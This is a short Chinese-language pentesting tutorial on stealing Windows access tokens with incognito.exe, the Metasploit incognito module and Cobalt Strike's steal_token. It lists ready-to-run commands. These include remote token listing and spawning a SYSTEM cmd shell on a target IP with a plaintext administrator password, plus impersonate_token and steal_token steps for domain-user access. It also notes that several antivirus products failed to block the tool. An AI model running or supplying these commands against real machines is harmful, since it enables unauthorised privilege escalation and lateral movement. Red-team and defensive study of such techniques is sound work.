前言
可根据权限名或者进程名进行token窃取,利用token窃取可以进行nt提权、普通降权、域(管)用户权限获取等操作。
一、exe
incognito.exe可用于有杀毒、不出网、防火墙限制等无法cs或msf上线情况。
下载incognito.exe:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
相关文档:
http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
本机列举token:
incognito.exe list_tokens -u
大家大多都讨论的是登录到机器上使用incognito.exe窃取token,其实还可以远程连接其他计算机进行token窃取,incognito.exe第一次使用会通过smb把incognito_service.exe放到目标服务器上(测试中360,火绒,电脑管家没有拦截incognito.exe和incognito_service.exe),然后才进行incognito.exe+incognito_service.exe方式进行token窃取,执行cmd.exe可返回来cmd shell。
远程列举token:
incognito.exe -h 172.16.58.143 -u administrator -p "QWEqwe123!@# " list_tokens -u
提权到nt:
.\incognito.exe -h 172.16.58.143 -u administrator -p "QWEqwe123!@# " execute -c "NT AUTHORITY\SYSTEM" cmd.exe
同理可用来获取存在的域用户的token权限。
二、msf
msf中的incognito模块可用于meterpreter上线后的机器。
在msf中,可使用incognito实现token窃取
加载incognito:load incognito
列举token:list_tokens -u
查看当前token:getuid
指定权限窃取:impersonate_token "NT AUTHORITY\SYSTEM"
或指定进程窃取:steal_token 1920
返回之前token:rev2self 或 drop_token
同理可窃取域账户获取域用户权限:
三、cs
steal_token 命令窃取token